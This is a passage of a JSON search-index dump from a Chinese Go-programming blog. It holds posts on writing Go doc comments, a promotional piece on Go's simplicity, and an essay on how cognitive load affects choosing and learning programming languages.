src=\"/images/wp-content/uploads/introduction-to-passkey-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e截图来自FIDO联盟官网\u003c/p\u003e\n\u003cp\u003e与此同时，频繁的密码管理和忘记密码情况严重影响用户体验。服务商在\u003ca href=\"https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\"\u003e安全保存用户密码\u003c/a\u003e方面的责任也增加了系统建设和维护的成本。为了应对这些问题，科技行业开始积极探索无密码认证的方法。\u003c/p\u003e\n\u003cp\u003e无密码认证利用设备生物识别、硬件加密和其他更安全的验证手段，提供了更安全的登录体验。在\u003ca href=\"https://www.thoughtworks.com/content/dam/thoughtworks/documents/radar/2024/10/tr_technology_radar_vol_31_en.pdf\"\u003eThoughtworks最新一期（第31期）技术雷达文档\u003c/a\u003e中，一种名为\u003ca href=\"https://fidoalliance.org/passkeys/\"\u003epasskey\u003c/a\u003e的无密码认证技术被列入“试验” 象限，许多读者可能在\u003ca href=\"https://docs.github.com/en/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey\"\u003egithub\u003c/a\u003e或其他支持passkey的站点和应用中使用过这一技术了。\u003c/p\u003e","title":"构建无密码认证：passkey入门与Go实现"},{"content":"写Go就像喝白开水 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 写Go就像喝白开水 十月 29, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/29/go-coding-is-like-drinking-boiled-water\n在编程语言的世界里，Go语言简单而直接，它没有复杂的语法和华丽的特性，给人一种纯粹的感觉，让我们在编写代码时感受到了一种清晰和高效。\n正如Russ Cox所言，Go的“无聊”恰恰是它的优势。抛开冗余装饰，Go专注于可靠、实用的功能。在这个快节奏的时代，它让我们免受复杂性的困扰，帮助我们快速解决实际问题。\n写Go就像喝一杯无味的白开水，虽寡淡却能即刻解渴，满足需求，并少有后顾之忧。平淡中透着从容，是我们日常开发中的可靠之选。\n早上打开极客时间的首页，发现我的Go语言第一课专栏在极客时间的7日飙升榜上跃升至第5名（截至2024.10.29 21点），估计这是借了双十一的光，也感谢大家的支持与厚爱！借此在这里给自己的专栏打个广告。\nGo语言：简单直接\n正如前面所提到的，Go语言的设计理念就是追求简单与直接。无论是基础语法还是并发编程，Go都让你在最短的时间内上手，效果立竿见影。你会发现，编写清晰、优雅的代码并不是一件难事。\nGo社区的快速增长\n今年，Go语言的社区发展迅猛，这在Reddit的Go分论坛上体现明显，每周都有超过1k名新会员加入。这不仅显示了Go语言的受欢迎程度，更证明了它在开发者中的广泛应用。\n号召大家入门Go\n如果你还在犹豫，不妨趁这个时机，加入Go的学习行列！无论你是编程新手还是经验丰富的开发者，Go都能为你打开新的大门。我的专栏将为你提供实用的学习资源和案例分析，助你快速入门。\n一起踏上Go之旅！\n现在就扫码关注我的“Go语言第一课”专栏吧，让我们一起体验Go语言的魅力，享受编程的乐趣！期待在这个快速发展的社区中见到你的身影！\n读者精彩评论\n以下是“写Go就像喝白开水”一文在公众号首发后一些读者的精彩评论的摘录：\nC是自来水，得烧开才能喝的安全，go是已经烧好的白开水，即时解渴，高效，c#，Java 是奶茶咖啡，看起来高级，但加了狠活，弄不好很难喝，喝完可能窜稀。 — 网友 Run\nC++是白酒喝高了上头 — 网友 ニコニコ\nboring but useful 形容go确实贴切 — 网友 领个废宅\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/29/go-coding-is-like-drinking-boiled-water/","summary":"\u003ch1 id=\"写go就像喝白开水--tony-bai\"\u003e写Go就像喝白开水 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"写go就像喝白开水\"\u003e写Go就像喝白开水\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 29, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/29/go-coding-is-like-drinking-boiled-water/#respond\" title=\"《写Go就像喝白开水》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 35\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-coding-is-like-drinking-boiled-water-1.png\"\u003e\u003c/p\u003e","title":"写Go就像喝白开水"},{"content":"写出Go标准库级别文档注释的十个细节 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 写出Go标准库级别文档注释的十个细节 十月 27, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/27/ten-details-when-using-documentation-comments\nGo语言以其优秀的工具链、“开箱即用”的标准库和相对完善的文档生态而闻名。Go通过代码中的文档注释(Doc Comments)生成相关包、类型、函数以及方法的说明文档。Go标准库中的文档注释不仅为使用者提供了清晰的指引，更为广大Go开发人员树立了高质量技术文档的标杆。\n然而，在日常开发中，很多Go开发者往往只注意到文档注释的基本格式要求，而忽略了一些能让文档质量更上一层楼的细节。这些细节虽小，但却是区分专业级别和业余水平代码的重要标志。\n在这篇文章中，我就挑出十个在编写Go文档注释时容易被忽视的关键细节，和大家说说，希望能帮助大家提升Go代码文档注释的level。\n1. 注释缩进的陷阱 很多开发者在写多行注释时会不经意产生缩进问题，例如：\n// TODO Revisit this design. It may make sense to walk those nodes // only once. // 错误示例：第二行有缩进 这种缩进会使第二行被解析为代码块。正确的做法是保持未缩进：\n// TODO Revisit this design. It may make sense to walk those nodes // only once. 2. 并发安全性说明 对于类型(Type)的文档注释，默认情况下读者会认为该类型仅适用于单个goroutine。如果类型支持并发访问，应该显式地明确注释说明：\n// Regexp is the representation of a compiled regular expression. // A Regexp is safe for concurrent use by multiple goroutines, // except for configuration methods, such as Longest. type Regexp struct { ... } 3. 零值行为说明 如果类型支持零值可用或零值具有特殊含义，应当在注释中显式说明：\n// Buffer is a variable-sized buffer of bytes with Read and Write methods. // The zero value for Buffer is an empty buffer ready to use. type Buffer struct { ... } 4. 避免实现细节 函数的文档注释应该关注其行为和返回值，而不是实现细节。除非是性能关键的场景需要说明算法复杂度，否则应该避免在注释中描述算法实现：\n// 好的示例：关注行为 // Sort sorts data in ascending order as determined by the Less method. // It makes O(n*log(n)) calls to data.Less and data.Swap. // 不好的示例：暴露实现细节 // Sort uses quicksort algorithm to sort data... 5. 返回布尔值的函数注释惯例 对于返回布尔值的函数，按惯例最好使用”reports whether”的描述方式，避免使用”or not”：\n// HasPrefix reports whether the string s begins with prefix. func HasPrefix(s, prefix string) bool 6. “构造函数”在文档中的位置 Go自身没有构造函数的专有语法，但当一个包中包含返回类型T或指针*T(包括伴随返回一个error的情况)的包顶层函数时，这些函数会被视为“构造函数”。这些构造函数在godoc中会被显示在T类型的下面，看起来像是T类型的方法，这的确容易“误导”一些Go新手：\n$go doc time ... ... type Duration int64 func ParseDuration(s string) (Duration, error) func Since(t Time) Duration func Until(t Time) Duration ... ... 在pkg.go.dev中，这些“构造函数”在文档中会自动显示在类型T类型旁边：\n这意味着我们在写“构造函数”的文档时应当注意与类型文档的一致性：\n// NewReader creates a new Reader reading from r. // It is similar to NewReaderSize with the default buffer size. func NewReader(r io.Reader) *Reader // Reader implements buffering for an io.Reader object. type Reader struct { // ... } 7. 顶层函数的并发安全性说明 对于顶层函数（包级别的导出函数），默认情况下是假定它们是并发安全的，因此不需要显式说明这一点：\n// 不必要的说明 // Parse parses the regular expression and returns a Regexp object. // This function is safe for concurrent use. // 这行是多余的 func Parse(expr string) (*Regexp, error) // 正确的做法 // Parse parses the regular expression and returns a Regexp object. func Parse(expr string) (*Regexp, error) 8. 方法的并发安全性说明 与包的顶层函数不同，类型的方法则是默认被认为仅限单个goroutine使用，即不是并发安全的。如果某些方法支持并发调用，应当在方法的文档注释中显式给予说明：\n// Load returns the value stored in the map for a key. // It is safe for concurrent use by multiple goroutines. func (m *Map) Load(key interface{}) (value interface{}, ok bool) 9. 方法接收器命名一致对文档展示的影响 在编写类型的多个方法时，应该使用统一的接收器(receiver)命名，这样可以提高文档的一致性和可读性，避免不必要的命名变化：\n// 不好的示例：接收器命名不一致 func (buffer *Buffer) Read(p []byte) (n int, err error) func (b *Buffer) Write(p []byte) (n int, err error) func (buf *Buffer) Cap() int // 好的示例：统一使用b作为接收器名 func (b *Buffer) Read(p []byte) (n int, err error) func (b *Buffer) Write(p []byte) (n int, err error) func (b *Buffer) Cap() int 通过下图，我们也可以看到一致的方法receiver参数命名在文档中体现出的一致性，这种一致性不仅让文档看起来更专业，也让使用者在阅读文档时能更专注于方法的功能本身，而不是被不同的命名所分散注意力：\n此外，选择方法接收器名称时的建议使用简短的命名（通常是类型名的第一个小写字母，比如上面的b），避免使用this、self等其他语言常用的命名。即使是单个方法，也要遵循这个命名约定，为后续可能的方法扩展做准备。\n10. 废弃标记的使用 当需要标记某个API为废弃时，应该及时使用”Deprecated:”前缀予以标记，并提供替代方案，如下面的strings.Title函数：\n// Title returns a copy of the string s with all Unicode letters that begin words // mapped to their Unicode title case. // // Deprecated: The rule Title uses for word boundaries does not handle Unicode // punctuation properly. Use golang.org/x/text/cases instead. func Title(s string) string { ... ... } 这些细节虽小,但都会影响到文档的可读性和代码的可维护性。良好的文档习惯需要在日常编码中持续积累和保持。\nGo团队将代码的可读性和可维护性放到至关重要的位置上，而编写高质量的文档注释就是提升代码可读可维护性的重要实践。从注释的缩进、并发安全性说明，到零值行为、构造函数文档等细节，这些看似微小的考量都在传递着重要的信息。通过遵循这些最佳实践，我们不仅能让文档更加清晰易懂，还能帮助团队减少沟通成本，提高开发效率。更重要的是，这些实践能帮助我们培养更专业的编码习惯，写出更加规范的代码，让我们在日常开发中持续积累这些好的习惯，让代码文档更接近Go标准库的专业水准^_^。\n要了解更多关于Go文档注释的细节，可以阅读Go Doc Comments。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/27/ten-details-when-using-documentation-comments/","summary":"\u003ch1 id=\"写出go标准库级别文档注释的十个细节--tony-bai\"\u003e写出Go标准库级别文档注释的十个细节 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"写出go标准库级别文档注释的十个细节\"\u003e写出Go标准库级别文档注释的十个细节\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 27, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/27/ten-details-when-using-documentation-comments/#respond\" title=\"《写出Go标准库级别文档注释的十个细节》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/ten-details-when-using-documentation-comments-1.png\"\u003e\u003c/p\u003e","title":"写出Go标准库级别文档注释的十个细节"},{"content":"认知负荷对编程语言选择和学习的影响 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 认知负荷对编程语言选择和学习的影响 十月 24, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/24/cognitive-load-impact-on-programming-language-choice-and-study\n在《Go语言精进之路：从新手到高手的编程思想、方法和技巧》两卷书出版后，我收到了一些读者的反馈。其中一位读者提到：“为什么作者如此偏爱使用心智负担这个词？”当时我对此并未给予太多关注。然而，近期我阅读了一些关于认知心理学和脑科学的著作后，才意识到读者的反馈不仅仅是对该词频繁使用的关注，更可能暗示了用词不当的问题。\n“心智负担”（Mental Load）指的是在处理多任务或日常生活安排时所需耗费的心理资源和精力，包括记忆、计划、组织以及应对各种任务所带来的精神压力。然而，在学习、思考和理解的情境中，特别是在编程语言的学习中，使用“认知负荷”（Cognitive Load）这一术语可能更为恰当。\n认知负荷理论最初由澳大利亚新南威尔士大学的认知心理学家约翰·斯威勒(John Sweller)于1988年首先提出来的，旨在解释学习过程中的认知资源分配。认知负荷是指在学习、思考或解决问题时，大脑在处理信息和执行任务时所承受的负担。在选择编程语言时，认知负荷是一个至关重要的因素，指的是人们在学习和使用某种编程语言时，为理解语法、掌握工具和解决问题所需付出的心理负担和精力。\n那么，在面对众多主流编程语言时，在不考虑市场需求与公司或组织强制学习的情况下，认知负荷究竟如何影响开发人员对编程语言的选择呢？在这篇文章中，我将进行一些不那么严谨，也非专业的粗略探讨，希望能够为大家带来一些启发。\n1. 认知负荷在编程语言中的体现 认知负荷理论发展到今天，其总体被分为三种类型：\n内在认知负荷(Intrinsic Cognitive Load) 内在认知负荷，也称为固有负荷，是由学习材料本身的复杂性所决定的，它与学习任务的本质和内容密切相关。例如，编程语言的语法规则、数据类型、内存管理和并发模型等都是内在负荷的一部分。学习这些概念的难易程度主要取决于编程语言本身的设计和复杂度。\n外在认知负荷(Extraneous Cognitive Load) 外在负荷是由学习环境和教学方式引起的负担，通常是由于无关信息或低效的学习方法造成的。比如，配置开发环境、学习非必要的工具或被复杂的IDE界面困扰，都可能增加外在负荷。在编程语言学习中，清晰的文档和易于理解的教程可以显著减少外在负荷。\n虽然外在负荷不是由编程语言语法本身决定的，但它会影响新手的学习体验。如果学习资源和工具太复杂或不直观，即使是简单的编程语言也会让人感到困难。\n相关认知负荷(Germane Cognitive Load) 相关认知负荷是指学习过程中专门用于理解、整合和构建知识结构的认知努力。它与思维加工、模式识别、知识内化等过程有关。在编程中，相关认知负荷指的是学习者在掌握编程思想、设计模式和编程习惯时所付出的努力。例如，理解如何在实际项目中应用编程概念，如何优化代码设计，以及如何解决编程中的复杂问题，这些过程都会增加相关认知负荷。这种负担是积极的，因为它有助于深入理解和长期记忆。\n下面这张图来自网络，可以帮助我们进一步理解三类认知负荷(只是出发点来自教学角度)：\n由此可见，对于新手来说，学习一门编程语言时，外在认知负荷是第一道门槛，它决定了是否能坚持学习，还是选择“Hello and Bye”；内在认知负荷则是基础，是核心；相关认知负荷则是进阶挑战，决定了可以达到的高度。\n接下来，我们将针对一些主流编程语言，沿着新手入门学习编程语言的认知负荷先后顺序进行粗略对比。希望这能为大家提供在编程语言选择方面的有用信息，同时帮助不同阶段的学习者针对各自的认知负荷水平做好心理准备。\n2. 主流编程语言的认知负荷对比 在探讨主流编程语言的认知负荷时，我们需要从外在认知负荷、内在认知负荷以及相关认知负荷这三个维度进行深入分析。这种分析不仅能帮助我们理解不同语言的特点，更能为选择合适的编程语言提供参考依据。\n注：笔者是后端程序员出身，对前端语言比如Javascript、Typescript等了解有限，因此这里将使用像Go、Rust、C++等主流后端语言作为分析和对比的参考对象。\n2.1 外在认知负荷的影响 在编程语言学习的初始阶段，外在认知负荷往往是最先遇到的挑战。\nPython在这方面表现出色，它简单的环境搭建流程让初学者能够快速开始编程之旅。只需安装一个解释器，新手就能立即开始编写代码。虽然在使用pip管理依赖时可能遇到一些包冲突的问题，但整体来说，在环境搭建、工具使用等外在认知负荷方面对初学者相当友好。\nGo语言同样提供了令人称道的开发体验。它的工具链安装过程直观明了，跨平台支持也十分完善。特别值得一提的是，自从Go 1.11引入go modules以来，依赖管理变得更加自动化和直观。虽然对新手来说，理解版本控制可能需要一些时间。此外，Go团队也给出了Go项目布局的官方建议，为开发者进行代码组织提供了清晰的参考。\n相比之下，C++的环境搭建则显得较为复杂。开发者需要安装编译器，配置IDE，这些步骤对新手来说都构成了不小的挑战。加上缺乏统一的包管理工具（尽管vcpkg和conan等工具正在改变这一现状），以及灵活但缺乏标准的项目结构，都让C++的外在认知负荷明显高于其他语言。\nRust通过其官方工具链安装工具rustup提供了相对简便的环境搭建方式。它的Cargo包管理器集成度高，使用便捷，而且项目结构的标准化程度高，这些特点都有效降低了外在认知负荷。\nJava则介于两个极端之间。它需要安装JDK并配置环境变量(如JAVA_HOME、CLASS_PATH等)，这个过程对新手来说可能有些繁琐。虽然Maven和Gradle这样的依赖管理工具功能强大，但学习曲线较陡峭。不过，Java严格的项目布局规范在初期可能显得死板，但从长远来看反而有助于培养良好的工程习惯。\n过了环境安装、工具使用和项目布局这些“外在认知负荷”的关卡后，语言自身的复杂性便会成为新手面前的更大的挑战。\n2.2 内在认知负荷考量 谈到语言本身的复杂性，Python的设计理念“简单胜于复杂”使其成为认知负荷最低的选择之一。它的语法接近自然语言，几乎不需要特别的学习就能读懂基本的代码结构。这种简洁性使得Python特别适合编程初学者，以至于主流的儿童编程教学大多使用Python(当然一些启蒙教学使用的是scratch)。\nGo语言同样以简洁著称，它的语法设计注重一致性和可读性。虽然保留了指针这样的底层特性，可能会让某些初学者感到困惑，但整体而言，Go的学习曲线相当平缓。值得注意的是，Go 1.18引入泛型后，虽然提升了语言的表达能力，但也增加了一定的复杂性。至于Go是否适合作为从零开始编程的新手，也是见仁见智。\nC++的内在认知负荷则明显较高。它支持多种编程范式，包括面向过程、面向对象、模板编程等，这些范式和特性固然强大，但对初学者来说往往构成了较大的认知负担。特别是在处理多态、模板元编程等高级特性时，学习曲线会变得异常陡峭。\nRust的内在认知负荷同样不低，但事实证明其复杂性是有意义的。它的所有权系统和借用检查器虽然增加了学习难度，但这些机制对于理解系统编程的本质非常有帮助，同时提高了程序在运行时的安全性。新手在最初接触这些概念时可能会感到困惑，但掌握后会对内存安全有深刻的理解。\nJava的内在认知负荷介于中等水平。它的面向对象语法虽然比Python或Go略显繁琐，但整体而言还算直观。Java的复杂性主要体现在面向对象设计模式、泛型和异常处理等特性上，这些概念需要时间来消化和掌握。\n2.3 相关认知负荷的深入分析 在实际应用知识解决问题时，各种语言呈现出不同的特点。\nPython的优势在于它能让学习者快速将知识付诸实践。其丰富的标准库和生态、简洁的语法使得从学习到应用的过程异常顺畅。无论是数据科学还是Web开发，Python都能让新手快速看到成果。它支持多种编程范式，并且社区的PEP 8规范为代码风格提供了清晰的指导。\nGo语言在知识应用方面同样表现出色。它的工具链完善，容易将所学付诸实践。特别是在服务器端开发领域，Go的并发模型和简洁的语法让新手能够相对轻松地构建高效的后端服务。虽然Go不像传统的面向对象语言那样依赖继承体系，但其接口机制和组合方式为代码设计提供了优雅的解决方案。\nC++的相关认知负荷较高，主要体现在将理论知识转化为实践时面临的挑战。内存管理和性能优化这些概念需要大量实践才能真正掌握。它支持多种编程范式，这种灵活性虽然强大，但对初学者来说往往是一把双刃剑。由于缺乏统一的编码规范，新手可能在选择最佳实践时感到困惑。\nRust在这方面呈现出独特的特点。它的所有权系统要求开发者在实践中深入思考内存管理问题，这个过程虽然充满挑战，但却能培养扎实的系统编程思维。Rust社区提供的编码规范和工具链都很完善，有助于形成良好的编程习惯。\nJava则以其企业级开发的特点著称。它要求开发者深入理解面向对象编程的核心概念，这个过程需要较长时间的积累。Java的设计模式体系完备，社区的编码规范成熟，这些特点有助于培养专业的工程思维，但对新手来说可能需要更多的时间和耐心。\n2.4 综合评估 通过以上分析，我们可以看出不同语言在认知负荷方面的特点。\nPython以其全方位的低认知负荷成为初学者的理想选择。\nGo语言通过简洁的设计和完善的工具链在降低认知负荷方面做出了显著成效。\nJava虽然相对繁琐，但其成熟的生态系统和规范的开发流程为长期发展提供了良好基础。\nRust和C++的学习曲线较陡，但它们在系统编程和性能优化方面的深度让投入的学习成本变得有价值。\n在理解了编程语言的认知负荷特点后，我们不妨再从心理学的角度，特别是借助三脑理论的视角，来探讨初学者是如何在面对不同编程语言时做出选择的。\n3. 初学者的编程语言学习决策过程 三脑理论(Triune Brain Theory)由Paul D. MacLean于1970年提出的理论假说，该理论将人脑分为三个层次，如下图所示：\n来自维基百科\n爬虫脑（Reptilian Brain）：也称原始脑，负责基本生存反应，包括对威胁的快速反应和本能行为。 情绪脑（Limbic System）：处理情绪和动机，影响记忆形成和社交行为。 理性脑（Neocortex）：负责高级认知功能，如逻辑思考、语言处理和复杂决策。 注：三脑理论提出较早，如今有新的理论认为三脑理论毫无依据。不过这里我们假定这个理论是正确和适用的。\n三脑理论影响初学者的编程学习决策的过程是怎样的呢？这个过程往往涉及本能反应(爬虫脑主导)、情感体验（情绪脑主导）和理性思考(理性脑主导)三个层面的互动。我们继续往下看。\n3.1 初学阶段的决策历程 在首次接触编程语言时，学习者的反应往往是多层次的。本能层面的反应最为直接，面对像C++这样认知负荷较高的语言时，很多人会本能地产生畏惧感。这种反应不是简单的怯懦，而是大脑对复杂性的自然防御机制。相反，Python这类认知负荷较低的语言则较少触发这种应激反应，使得学习者能够保持相对轻松的心态。\n情感层面的体验则更为复杂。当成功运行第一个程序时，无论使用什么语言，都会带来成就感。但随着学习的深入，不同语言带来的情感体验会产生分化。举个例子，我在早期学习Java时，仅仅是配置环境变量这样的基础工作就带来了挫折感，这种负面情绪很容易影响学习的积极性。而Rust虽然入门门槛较低，但一旦进入到所有权系统的学习，很多人会因为频繁的编译错误而感到沮丧。\n理性思考则是决策过程中最后但也是最重要的环节。这包括对语言应用领域的评估、职业发展前景的考虑，以及个人学习时间和精力投入的权衡。这个阶段的决策通常更加慎重，也更具有长期性。\n3.2 深入学习阶段的转变 随着学习的深入，最初的决策依据往往会发生改变。原本令人望而生畏的特性可能转变为吸引力的来源。这种转变在Rust的学习过程中特别明显，当开发者逐渐理解了所有权系统的价值，最初的困惑可能转化为对语言设计的欣赏。\n在这个阶段，情感体验也往往变得更加丰富。克服困难带来的成就感可能超越了简单的编程快感，这也解释了为什么一些看似“难学”的语言反而能够培养出更加忠实的用户群体。Rust连续多年在最受欢迎编程语言榜单上位居前列，很大程度上就源于这种深层的技术认同感。\n理性思考在这个阶段会更加全面，不再局限于语言本身的特性，而是扩展到整个技术生态系统的考量。开发者会更多地思考语言的性能特点、社区活跃度、工具链完善程度等因素。\n3.3 认知负荷与学习效果 从短期来看，低认知负荷的语言确实能够提供更平缓的学习曲线，让入门过程更加顺畅。Python和Go在这方面的优势明显，它们能让学习者快速进入实践阶段，建立信心。但这种便利性有时也会带来一个意想不到的问题：学习者可能在掌握了基础语法后陷入平台期，难以实现质的突破。这也是为什么经常有读者询问如何才能在Go语言编程中更进一步。\n相比之下，高认知负荷的语言虽然入门较难，但往往能够培养更深入的编程思维。比如Rust的所有权系统，虽然增加了学习难度，但这种设计迫使开发者深入思考内存管理的问题，从而建立更扎实的系统编程基础。C++的模板元编程虽然复杂，但掌握后能够大大提升代码的抽象能力和复用效率。\n不过，我们也要警惕过高的认知负荷带来的风险。如果学习过程中的挫折感持续累积，很容易导致半途而废。每年入门一次Rust的真实案例也屡见不鲜。这就要求我们在选择编程语言时，既要考虑个人的学习能力和时间投入，也要权衡职业发展的需求，找到一个适合自己的平衡点。\n4. 小结 在探讨了认知负荷对编程语言学习的影响后，我们可以得出一些粗浅的见解：编程语言的学习绝非简单的语法掌握过程，而是一个涉及多个认知维度的复杂历程。从开发环境的搭建到语言特性的理解，从基础概念的掌握到工程实践的应用，每个阶段都会给学习者带来不同程度的认知压力。理解这些认知负荷的本质，有助于我们做出更明智的编程语言学习的选择。\n对于编程新手来说，像Python和Go这样在各个维度都尽量降低认知负荷的语言，无疑是入门的理想选择。但我们也要认识到，较高的认知负荷未必就是缺点。就像Rust和C++这样的语言，它们的学习曲线虽然陡峭，但这种”困难”往往蕴含着宝贵的学习机会。通过克服这些认知挑战，开发者能够建立起更深入的系统编程认知，形成更扎实的技术功底。\n选择合适的编程语言，某种程度上就像选择一位长期相处的伙伴。这个选择不仅要考虑语言本身的特点，还要权衡个人的学习能力、职业规划和时间投入。认知负荷理论为我们提供了一个有价值的分析框架，但最终的选择还是要回归到个人的实际需求和发展目标。正如没有完美的编程语言一样，也没有放之四海而皆准的学习路径。找到适合自己的平衡点，或许才是最务实的学习策略。\n最后，在人工智能编码辅助技术飞速发展的今天，开放的学习心态和持续学习的能力，可能比选择某个特定的编程语言更为重要。毕竟唯一不变的可能就是变化本身。\n5. 参考资料 《思考，快与慢》- https://book.douban.com/subject/10785583/ 《认知觉醒》 – https://book.douban.com/subject/35193035/ 